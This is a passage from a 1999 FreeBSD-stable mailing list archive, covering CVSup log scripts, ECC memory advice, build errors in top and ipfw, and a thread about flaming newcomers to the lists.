This script will be in the contrib section of the next release > of CVSup. Brilliant. With a bit of tweaking it should also work when no tag has been specified: Edit src/sys/i386/linux/linux_ioctl.c,v ^^ -- Marcel Moolenaar mailto:marcel@scc.nl SCC Internetworking & Databases http://www.scc.nl/ The FreeBSD project mailto:marcel@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 10: 9:43 1999 Delivered-To: freebsd-stable@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id B719E15274; Thu, 7 Oct 1999 10:09:38 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA95541; Thu, 7 Oct 1999 10:09:23 -0700 (PDT) (envelope-from dillon) Date: Thu, 7 Oct 1999 10:09:23 -0700 (PDT) From: Matthew Dillon Message-Id: <199910071709.KAA95541@apollo.backplane.com> To: Adrian Penisoara Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Hi again, : : Whoops: a few hours after downgrading to 3.1-STABLE I had a double fault :error (strange, it didn't look like a normal panic screen, just the :message and the content of three registers, then the syncing disks :message). It seems that I might be wrong about hardware not being the :problem. : : I've changed the motherboard, CPU, memory and the video card and I'm :waiting to see how much it's going to stay up (I have 1day 1hour uptime so :far)... : : Thanks, : Ady (@warpnet.ro) One thing I do on all 'server' class machines that I buy (and this is also something that BEST instituted as policy in 1998) is to only buy motherboards with ECC support and only buy ECC memory to go along with that support. If you are using a non-ECC motherboard or non-ECC memory I would heartily recommend that you adopt the same policy. Not that your problem is necessarily memory related, but I've found that memory-related problems account for at least 80% of the 'difficult to locate' hardware problems that normally occur with PC technology. ECC gives you protection not only against hardware faults, but it also protects you against remarked dynamic ram chips and processors by catching the timing errors that usually occur with such chips relatively soon after purchase rather then weeks or months down the line. Being the commodity it is, memory is the most likely item on the motherboard to be out of spec. Intel's ECC implementation is not perfect (1), but it's good enough to catch these sorts of problems. note 1: Intel doesn't implement memory scrubbing properly outside of the Xeon line and FreeBSD does not scrub memory either. Scrubbing is a method of preventing bit errors from building up in memory by regenerating the ECC bits with a memory read followed by a memory write of the same data. Outside of the Xeon chipsets the OS must issue a read followed by a write. With the Xeon chipsets the OS need only issue a read and hardware will automatically rewrite a correction if it finds a bit error. This information is 6 months old so the situation may have changed. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 11:40:44 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id AD79214CE0 for ; Thu, 7 Oct 1999 11:40:39 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id OAA25123 for stable@freebsd.org; Thu, 7 Oct 1999 14:40:36 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <199910071840.OAA25123@blackhelicopters.org> Subject: Roasting Newbies To: stable@freebsd.org Date: Thu, 7 Oct 1999 14:40:36 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, everyone, We recently had a flamefest on -hackers wherein a newbie was roasted, toasted, and flambe'd. Some people got annoyed at a question that should have probably been asked on -questions, and a newbie went away thinking that FreeBSD geeks were jerks. He might change his opinion in the future. Maybe not. There wasn't anything exceptional about this particular argument, except that it was the one that finally ticked me off enough to try to do something about it. I've written up an article, aimed at the FreeBSD newbie. It explains what they should do before mailing any FreeBSD mailing list, what to do with the answer, and how to write an effective message. It's at: http://www.blackhelicopters.org/~dispatch/bsd-self-help.html Please, before you burn some new FreeBSD user out of the sky, think about sending them here. Send them a copy of this, I don't care. But it's probably more effective to explain to the new user what they need to do to have their problems be taken seriously, than to roast them alive. Since none of us have the patience to do that again and again, we might as well put it on the web. ==ml PS: If it's someone we don't *want* using FreeBSD, well, then I suppose you'll just have to flame them. ;) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 12: 0:32 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mpp.pro-ns.net (pppdsle45.mpls.uswest.net [216.160.23.45]) by hub.freebsd.org (Postfix) with ESMTP id 855DB153A5 for ; Thu, 7 Oct 1999 11:58:09 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id NAA40584; Thu, 7 Oct 1999 13:56:46 -0500 (CDT) (envelope-from mpp) Date: Thu, 7 Oct 1999 13:56:46 -0500 From: Mike Pritchard To: John Polstra Cc: Martin@McFlySr.Kurgan.Ru, stable@FreeBSD.ORG Subject: Re: Seeing log messages associated with CVSup updates Message-ID: <19991007135646.A40407@mpp.pro-ns.net> References: <13641.991004@McFlySr.Kurgan.Ru> <199910071621.JAA47057@vashon.polstra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <199910071621.JAA47057@vashon.polstra.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 07, 1999 at 09:21:17AM -0700, John Polstra wrote: > In article <13641.991004@McFlySr.Kurgan.Ru>, > Martin McFlySr wrote: > > Hello freebsd-stable@FreeBSD.ORG, > > > > 1. How can i see what namely was changed in files after CVSup is done? > > I can seen at log CVSup, but can see only what files was changed: > > > > Edit src/share/man/man5/rc.conf.5 > > Add delta 1.27.2.17 99.10.02.10.21.36 des > > Add delta 1.27.2.18 99.10.02.21.41.35 des > > Here is a really clever awk script that was written by Dom Mitchell > . It converts your CVSup log output > into an html page that you can display in your web browser. Each > "Edit" or "Checkout" line becomes a link to the cvsweb page for the > file. This script will be in the contrib section of the next release > of CVSup. For those who read commit mail, here is a simple perl script I got a long time ago from Warner Losh that you can pipe a commit message to and get diff output. Comes in very handy for reviewing changes after the fact. It requires a cvs repository on the machine you are executing it on. He might have a newer/better version than this. -Mike #!/usr/bin/perl -w # # Placed into the public domain by M. Warner Losh. 1997. Enjoy. # # > 1.94 +72 -34 src/sys/i386/scsi/aic7xxx.c # # Turns into a lot of diffs # while () { next unless /^ *((\d+.)+\d+) *\+\d+ -\d+ *(.*)$/; $rev_new = "$1"; @rev_old = split( /\./, $rev_new); $rev_old[$#rev_old]--; $revo = join('.',@rev_old); $fn = "$3"; system "rcsdiff @ARGV -u -r$revo -r$rev_new \$CVSROOT/$fn | \$PAGER\n"; } -- Mike Pritchard mpp@FreeBSD.org or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 12:53:56 1999 Delivered-To: freebsd-stable@freebsd.org Received: from wit401310.student.utwente.nl (wit401310.student.utwente.nl [130.89.236.150]) by hub.freebsd.org (Postfix) with ESMTP id A0985152DC for ; Thu, 7 Oct 1999 12:53:44 -0700 (PDT) (envelope-from dalroi@wit401310.student.utwente.nl) Received: from wit401310.student.utwente.nl (localhost [127.0.0.1]) by wit401310.student.utwente.nl (Postfix) with ESMTP id 840911DD0 for ; Thu, 7 Oct 1999 21:53:54 +0200 (CEST) Date: Thu, 7 Oct 1999 21:53:53 +0200 (CEST) From: Alban Hertroys Subject: problem building world target To: freebsd-stable@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Message-Id: <19991007195354.840911DD0@wit401310.student.utwente.nl> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm trying to upgrade from 3.2-STABLE to 3.3-STABLE. make upgrade runs fine, but make buildworld bails out building 'top'. I get: ============= cc -O -pipe -DHAVE_GETOPT -I/usr/src/usr.bin/top -I/usr/src/usr.bin/top/../../contrib/top -DORDER -D"Table_size=6:wq" -c /usr/src/usr.bin/top/../../contrib/top/username.c /usr/src/usr.bin/top/../../contrib/top/username.c:53: parse error before `:' /usr/src/usr.bin/top/../../contrib/top/username.c: In function `username': /usr/src/usr.bin/top/../../contrib/top/username.c:72: parse error before `:' /usr/src/usr.bin/top/../../contrib/top/username.c:73: `hash_table' undeclared (first use this function) /usr/src/usr.bin/top/../../contrib/top/username.c:73: (Each undeclared identifier is reported only once /usr/src/usr.bin/top/../../contrib/top/username.c:73: for each function it appears in.) /usr/src/usr.bin/top/../../contrib/top/username.c: In function `enter_user': /usr/src/usr.bin/top/../../contrib/top/username.c:117: parse error before `:' /usr/src/usr.bin/top/../../contrib/top/username.c:119: `hash_table' undeclared (first use this function) *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. =============== Though I think I *am* building 3.3-STABLE I suspect it is actually building 4.0. I just don't know for sure. My make.conf says: =============== SUP_UPDATE= yes SUP= /usr/local/bin/cvsup SUPFLAGS= -g -L 2 -z SUPFILE= /usr/tmp/cvsup-files/stable-supfile =============== Which says: =============== *default host=cvsup.uk.FreeBSD.org *default base=/usr *default prefix=/usr *default release=cvs tag=RELENG_3 *default delete use-rel-suffix *default compress =============== That *should* build 3.3-STABLE, right? I think I saw "4.0"'s running past during the build. Is that normal? In the mean time I'll try to fix this with just inserting headerfiles in the right places, if that is what's going awry. I don't really feel like putting more effort in it than that in the sparse spare time I have. -- Alban Hertroys. http://wit401310.student.utwente.nl --- If I had a sig it would be fun. The quest for the Holy Sig has begun. I have not yet a clue, What will you see next issue? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 13:47: 8 1999 Delivered-To: freebsd-stable@freebsd.org Received: from wit401310.student.utwente.nl (wit401310.student.utwente.nl [130.89.236.150]) by hub.freebsd.org (Postfix) with ESMTP id 32A2215278 for ; Thu, 7 Oct 1999 13:47:03 -0700 (PDT) (envelope-from dalroi@wit401310.student.utwente.nl) Received: from wit401310.student.utwente.nl (localhost [127.0.0.1]) by wit401310.student.utwente.nl (Postfix) with ESMTP id 9BDC71DD0 for ; Thu, 7 Oct 1999 22:46:20 +0200 (CEST) Date: Thu, 7 Oct 1999 22:46:19 +0200 (CEST) From: Alban Hertroys Subject: problem building buildworld target (followup) To: freebsd-stable@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Message-Id: <19991007204620.9BDC71DD0@wit401310.student.utwente.nl> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just realized I said 'world', where I meant 'buildworld'. I accidentally split those words up to form a proper sentence in the subject line. I've been investigating some more at the problem. It appears that the #define TableSize macro is not expanded (as are some others). The top header file says something like: #define TableSize %TableSize% That doesn't look right... Regards, Alban Hertroys. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 13:49:28 1999 Delivered-To: freebsd-stable@freebsd.org Received: from web1.aps-services.com (adsl-209-232-134-22.dsl.scrm01.pacbell.net [209.232.134.22]) by hub.freebsd.org (Postfix) with ESMTP id 6EBFA15295 for ; Thu, 7 Oct 1999 13:49:25 -0700 (PDT) (envelope-from david@web1.aps-services.com) Received: from dave (dave.aps-services.com [192.168.0.12]) by web1.aps-services.com (8.9.3/8.8.6) with SMTP id NAA19666; Thu, 7 Oct 1999 13:46:37 GMT Message-Id: <199910071346.NAA19666@web1.aps-services.com> From: dave@allunix.com To: stable@FreeBSD.ORG, Michael Lucas Date: Thu, 7 Oct 1999 13:50:28 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Roasting Newbies In-reply-to: <199910071840.OAA25123@blackhelicopters.org> X-mailer: Pegasus Mail for Win32 (v3.11) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mr. Lucas, I think that you should concider the ramifications of posting that particular how to doc on the web. After all why should the FreeBSD community be bothered by people who are not intelligent enough to make sure that they are posting to the right thread? Do we really care that companies like VMWare have no intention of porting their commercial software to FreeBSD? After all it is fairly easy to add that linux kernel to the BTX loader. I had the audacity to reply to a recent posting on stable in which I stated that the disks which were shipped to me from Walnut Creek were not bootable and that this might be related to the problems with the iso image. Of course I was promptly flamed. One reader even accused me of trying to install the alpha port on my i386 box. I do appreciate your noble efforts to help the people who, like myself are not FreeBSD Guru's and could possibly get frustrated by the OS by pointing them in the right direction instead of flaming them with the famous but obscure "that is for questions" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 14: 5:19 1999 Delivered-To: freebsd-stable@freebsd.org Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id BD35314CFF for ; Thu, 7 Oct 1999 14:05:06 -0700 (PDT) (envelope-from jhay@zibbi.mikom.csir.co.za) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.9.3/8.9.3) id XAA35728; Thu, 7 Oct 1999 23:04:27 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <199910072104.XAA35728@zibbi.mikom.csir.co.za> Subject: Re: problem building world target In-Reply-To: <19991007195354.840911DD0@wit401310.student.utwente.nl> from Alban Hertroys at "Oct 7, 1999 09:53:53 pm" To: dalroi@wit401310.student.utwente.nl (Alban Hertroys) Date: Thu, 7 Oct 1999 23:04:27 +0200 (SAT) Cc: freebsd-stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I'm trying to upgrade from 3.2-STABLE to 3.3-STABLE. > make upgrade runs fine, but make buildworld bails out building 'top'. > > I get: > ============= > > cc -O -pipe -DHAVE_GETOPT -I/usr/src/usr.bin/top -I/usr/src/usr.bin/top/../../contrib/top -DORDER -D"Table_size=6:wq" -c /usr/src/usr.bin/top/../../contrib/top/username.c ^^^ It looks like somebody had vi trouble. :-) John -- John Hay -- John.Hay@mikom.csir.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 14:22:16 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 539D6152C8 for ; Thu, 7 Oct 1999 14:22:12 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id RAA25826; Thu, 7 Oct 1999 17:20:45 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <199910072120.RAA25826@blackhelicopters.org> Subject: Re: Roasting Newbies In-Reply-To: <199910071346.NAA19666@web1.aps-services.com> from "dave@allunix.com" at "Oct 7, 1999 1:50:28 pm" To: dave@allunix.com Date: Thu, 7 Oct 1999 17:20:45 -0400 (EDT) Cc: stable@freebsd.org X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG IMHO, tensions on the FreeBSD lists are running at their greatest level since... oh, I'd say mid-96, when I first subscribed to -questions. If a "FreeBSD newbies info page" will help, then I'm all for it. I don't see what sort of "ramifications" it could have, other than to (perhaps) reduce some of the stress all around. Everybody needs to take a chill pill. Perhaps this will help. If so, everybody wins. If not, the next person with a bright idea can try. As far as products like VMware go: the big market for FreeBSD is on the server end. That's where we've been for years. There's really very little desktop BSD, where VMWare's marketed. Why should a desktop software manufacturer port to a server OS? Besides, as you say, we're fairly close to being able to run VMWare for Linux ourselves. ==ml > Mr. Lucas, > > I think that you should concider the ramifications of posting that > particular how to doc on the web. > > After all why should the FreeBSD community be bothered by people > who are not intelligent enough to make sure that they are posting to > the right thread? > > Do we really care that companies like VMWare have no intention of > porting their commercial software to FreeBSD? After all it is fairly > easy to add that linux kernel to the BTX loader. > > I had the audacity to reply to a recent posting on stable in which I > stated that the disks which were shipped to me from Walnut Creek > were not bootable and that this might be related to the problems with > the iso image. Of course I was promptly flamed. One reader even > accused me of trying to install the alpha port on my i386 box. > > I do appreciate your noble efforts to help the people who, like myself > are not FreeBSD Guru's and could possibly get frustrated by the OS > by pointing them in the right direction instead of flaming them with > the famous but obscure "that is for questions" > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 14:56:25 1999 Delivered-To: freebsd-stable@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 89C3015376; Thu, 7 Oct 1999 14:56:23 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 7FAC51CD475; Thu, 7 Oct 1999 14:56:23 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Thu, 7 Oct 1999 14:56:23 -0700 (PDT) From: Kris Kennaway To: Mike Pritchard Cc: John Polstra , Martin@McFlySr.Kurgan.Ru, stable@FreeBSD.ORG Subject: Re: Seeing log messages associated with CVSup updates In-Reply-To: <19991007135646.A40407@mpp.pro-ns.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 7 Oct 1999, Mike Pritchard wrote: > > into an html page that you can display in your web browser. Each > > "Edit" or "Checkout" line becomes a link to the cvsweb page for the > > file. This script will be in the contrib section of the next release > > of CVSup. > > For those who read commit mail, here is a simple perl script I got > a long time ago from Warner Losh that you can pipe a commit message to > and get diff output. Comes in very handy for reviewing changes after > the fact. It requires a cvs repository on the machine you > are executing it on. Awesome - we should point to both of these in the handbook. Kris ---- XOR for AES -- join the campaign! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 15:51:28 1999 Delivered-To: freebsd-stable@freebsd.org Received: from idiom.com (idiom.com [216.240.32.1]) by hub.freebsd.org (Postfix) with ESMTP id 014AD152F7 for ; Thu, 7 Oct 1999 15:51:25 -0700 (PDT) (envelope-from muir@idiom.com) Received: (from muir@localhost) by idiom.com (8.9.3/8.9.3) id PAA32196 for freebsd-stable@freebsd.org; Thu, 7 Oct 1999 15:31:08 -0700 (PDT) Date: Thu, 7 Oct 1999 15:31:08 -0700 (PDT) From: David Muir Sharnoff Message-Id: <199910072231.PAA32196@idiom.com> To: freebsd-stable@freebsd.org Subject: cannot compile ipfw... Did I miss something? Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Recently (today) updated sources. -STABLE branch (RELENG_3). make buildworld dies in ipfw. Is there something I missed that needs to be done to get a clean compile? Thanks, -Dave Exact error: cc -O2 -pipe -m486 -Wall -I/usr/obj/charm/build/src/tmp/usr/include -c /charm/b uild/src/sbin/ipfw/ipfw.c /charm/build/src/sbin/ipfw/ipfw.c: In function `show_ipfw': /charm/build/src/sbin/ipfw/ipfw.c:251: `IP_FW_F_RND_MATCH' undeclared (first use this function) /charm/build/src/sbin/ipfw/ipfw.c:251: (Each undeclared identifier is reported o nly once /charm/build/src/sbin/ipfw/ipfw.c:251: for each function it appears in.) /charm/build/src/sbin/ipfw/ipfw.c:258: structure has no member named `fw_logamou nt' /charm/build/src/sbin/ipfw/ipfw.c:259: structure has no member named `fw_logamou nt' /charm/build/src/sbin/ipfw/ipfw.c:348: `IP_FW_F_UID' undeclared (first use this function) /charm/build/src/sbin/ipfw/ipfw.c:349: structure has no member named `fw_uid' /charm/build/src/sbin/ipfw/ipfw.c:354: structure has no member named `fw_uid' /charm/build/src/sbin/ipfw/ipfw.c:357: `IP_FW_F_GID' undeclared (first use this function) /charm/build/src/sbin/ipfw/ipfw.c:358: structure has no member named `fw_gid' /charm/build/src/sbin/ipfw/ipfw.c:363: structure has no member named `fw_gid' /charm/build/src/sbin/ipfw/ipfw.c: In function `add': /charm/build/src/sbin/ipfw/ipfw.c:1086: `IP_FW_F_RND_MATCH' undeclared (first us e this function) /charm/build/src/sbin/ipfw/ipfw.c:1195: structure has no member named `fw_logamo unt' /charm/build/src/sbin/ipfw/ipfw.c:1196: structure has no member named `fw_logamo unt' /charm/build/src/sbin/ipfw/ipfw.c:1279: `IP_FW_F_UID' undeclared (first use this function) /charm/build/src/sbin/ipfw/ipfw.c:1291: structure has no member named `fw_uid' /charm/build/src/sbin/ipfw/ipfw.c:1300: `IP_FW_F_GID' undeclared (first use this function) /charm/build/src/sbin/ipfw/ipfw.c:1312: structure has no member named `fw_gid' /charm/build/src/sbin/ipfw/ipfw.c:1439: structure has no member named `fw_logamo unt' /charm/build/src/sbin/ipfw/ipfw.c:1443: structure has no member named `fw_logamo unt' /charm/build/src/sbin/ipfw/ipfw.c:1447: structure has no member named `fw_loghig hest' /charm/build/src/sbin/ipfw/ipfw.c:1447: structure has no member named `fw_logamo unt' /charm/build/src/sbin/ipfw/ipfw.c: In function `resetlog': /charm/build/src/sbin/ipfw/ipfw.c:1505: `IP_FW_RESETLOG' undeclared (first use t his function) *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 16:19:55 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.sprawlnet.com (ns1.sprawlnet.com [208.224.169.130]) by hub.freebsd.org (Postfix) with ESMTP id 36D3D14A2B for ; Thu, 7 Oct 1999 16:19:51 -0700 (PDT) (envelope-from mike@sprawlnet.com) Received: from mike (1Cust59.tnt10.atl2.da.uu.net [63.22.81.59]) by ns1.sprawlnet.com (8.9.2/8.9.2) with SMTP id HAA82352; Fri, 8 Oct 1999 07:19:54 GMT (envelope-from mike@sprawlnet.com) Message-ID: <002101bf1133$33e96000$3b51163f@freebsdbox.com.sprawlnet.co> From: " Mike Steinfeld" To: "Michael Lucas" Cc: "stable" References: <199910072120.RAA25826@blackhelicopters.org> Subject: Re: Roasting Newbies Date: Thu, 7 Oct 1999 19:16:58 -0700 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Well i just have to let it out. I was asking someone recently , " Is it just me, or Does there appear to be alot if idiots ( Lack Of A More Creative Word ) attempting to run FreeBSD Lately "? I remember when i first installed Linux. I thought i was the Baddest mofo in town. I mean What kind of crap is that ? After running Linux for awhile, i got a job as a Sys Admin. I always heard so much about FreeBSD, I figured this was my chance to see for myself. I guess for me Linux is like the script kiddies play toy and FreeBSD is for System adminstrators who are payed for performance and have found FreeBSD to be the best solution by afar. This is my case. Check the Vibe: 1) feeling out the newbies. a) Check to make sure the Newbie does not wanna be the elitest SK (Script Kiddie) in town. b) If there seems like hope that the little SK wants to actually learn something. (Be weary). c) If your on IRC /whois the SK and see if he is in #warez or #linux or the like. d) If you followed a,b,c and everything seems O.K. it probably is not. But, help SK anyway. e) If the question pertains to PPP, Linux vs. FreeBSD or nmap. Run VERY FAST erm. wait. f) As a result of " e) " Do as you wish , Im sure no one will care! 2) Handling the Newbie a) Let go of your Linux SK grudge. b) seriously folks let your altruistic ways prosper and maybe cut him some slack.(whoah !) c) If the newbie is in fact a "SK" and you know this. Point his ass to back that thing up! d) Take life a little less serious. If he/she is an ass. Ignore the thread. Well, at least attempt to. e) Play with the newbie intellectually like he was a ping pong ball in a tournament. f) Take a deep breath and hope for the best. ( If that works let me know. ) 3) Killing/Flaming the newbie. a) Make sure this is all that is left to do. ( Choose wisely Danielson. ) b) Get everyone to turn against this prankster, including the bearded guy at the Bus stop. c) Join a cult where computer users have grey suits and sniff things to get by the day. d) Just tell his mom. ( We all hate that ) 4)Conclusion a) As pathetic , simpleminded, and silly as all this sounds. I was raised with repsect. ( Are your diapers on or off ). b) Do we really need to carry on about some inconsistencies and idiosyncratic behavior. ( consume bandwidth.) c) Are we going to feed into the commercialised Linux movement. And pretend that these bastards are going to get away with it. ( oops , anger misplaced.) d)Cant we all just get ( way to old to even say ) e) treat people the same way you would want to be treated. ( I love you Grandma. ) people seriously. make a valid attempt to stop being so ridiculous. ( to all that apply, and the ones in denial ). (Newbie, Ver 0.1.1-current) ----- Original Message ----- From: Michael Lucas To: Cc: Sent: Thursday, October 07, 1999 2:20 PM Subject: Re: Roasting Newbies > IMHO, tensions on the FreeBSD lists are running at their greatest > level since... oh, I'd say mid-96, when I first subscribed to > -questions. > > If a "FreeBSD newbies info page" will help, then I'm all for it. I > don't see what sort of "ramifications" it could have, other than to > (perhaps) reduce some of the stress all around. > > Everybody needs to take a chill pill. Perhaps this will help. If so, > everybody wins. If not, the next person with a bright idea can try. > > As far as products like VMware go: the big market for FreeBSD is on > the server end. That's where we've been for years. There's really > very little desktop BSD, where VMWare's marketed. Why should a > desktop software manufacturer port to a server OS? Besides, as you > say, we're fairly close to being able to run VMWare for Linux > ourselves. > > ==ml > > > Mr. Lucas, > > > > I think that you should concider the ramifications of posting that > > particular how to doc on the web. > > > > After all why should the FreeBSD community be bothered by people > > who are not intelligent enough to make sure that they are posting to > > the right thread? > > > > Do we really care that companies like VMWare have no intention of > > porting their commercial software to FreeBSD? After all it is fairly > > easy to add that linux kernel to the BTX loader. > > > > I had the audacity to reply to a recent posting on stable in which I > > stated that the disks which were shipped to me from Walnut Creek > > were not bootable and that this might be related to the problems with > > the iso image. Of course I was promptly flamed. One reader even > > accused me of trying to install the alpha port on my i386 box. > > > > I do appreciate your noble efforts to help the people who, like myself > > are not FreeBSD Guru's and could possibly get frustrated by the OS > > by pointing them in the right direction instead of flaming them with > > the famous but obscure "that is for questions" > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 16:20:57 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.sprawlnet.com (ns1.sprawlnet.com [208.224.169.130]) by hub.freebsd.org (Postfix) with ESMTP id 59D14153D3 for ; Thu, 7 Oct 1999 16:20:52 -0700 (PDT) (envelope-from mike@sprawlnet.com) Received: from mike (1Cust59.tnt10.atl2.da.uu.net [63.22.81.59]) by ns1.sprawlnet.com (8.9.2/8.9.2) with SMTP id HAA82361 for ; Fri, 8 Oct 1999 07:21:40 GMT (envelope-from mike@sprawlnet.com) Message-ID: <002901bf1133$731937a0$3b51163f@freebsdbox.com.sprawlnet.co> From: " Mike Steinfeld" To: "stable" Subject: Fw: Roasting Newbies Date: Thu, 7 Oct 1999 19:18:44 -0700 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ----- Original Message ----- From: Mike Steinfeld To: Michael Lucas Cc: stable Sent: Thursday, October 07, 1999 7:16 PM Subject: Re: Roasting Newbies > > Well i just have to let it out. > > I was asking someone recently , " Is it just me, or Does there appear to be > alot if idiots ( Lack Of A More Creative Word ) attempting to run FreeBSD > Lately "? > > I remember when i first installed Linux. I thought i was the Baddest mofo in > town. I mean What kind of crap is that ? After running Linux for awhile, i > got a job as a Sys Admin. I always heard so much about FreeBSD, I figured > this was my chance to see for myself. > > I guess for me Linux is like the script kiddies play toy and FreeBSD is > for System adminstrators who are payed for performance and have found > FreeBSD to be the best solution by afar. This is my case. > > Check the Vibe: > 1) feeling out the newbies. > a) Check to make sure the Newbie does not wanna be the > elitest SK (Script Kiddie) in town. > b) If there seems like hope that the little SK wants to > actually learn something. (Be weary). > c) If your on IRC /whois the SK and see if he is in #warez or > #linux or the like. > d) If you followed a,b,c and everything seems O.K. it > probably is not. But, help SK anyway. > e) If the question pertains to PPP, Linux vs. FreeBSD or > nmap. Run VERY FAST erm. wait. > f) As a result of " e) " Do as you wish , Im sure no one will > care! > > 2) Handling the Newbie > a) Let go of your Linux SK grudge. > b) seriously folks let your altruistic ways prosper and maybe > cut him some slack.(whoah !) > c) If the newbie is in fact a "SK" and you know this. Point > his ass to back that thing up! > d) Take life a little less serious. If he/she is an ass. > Ignore the thread. Well, at least attempt to. > e) Play with the newbie intellectually like he was a ping > pong ball in a tournament. > f) Take a deep breath and hope for the best. ( If that works > let me know. ) > > 3) Killing/Flaming the newbie. > a) Make sure this is all that is left to do. ( Choose wisely > Danielson. ) > b) Get everyone to turn against this prankster, including > the bearded guy at the Bus stop. > c) Join a cult where computer users have grey suits and > sniff things to get by the day. > d) Just tell his mom. ( We all hate that ) > > 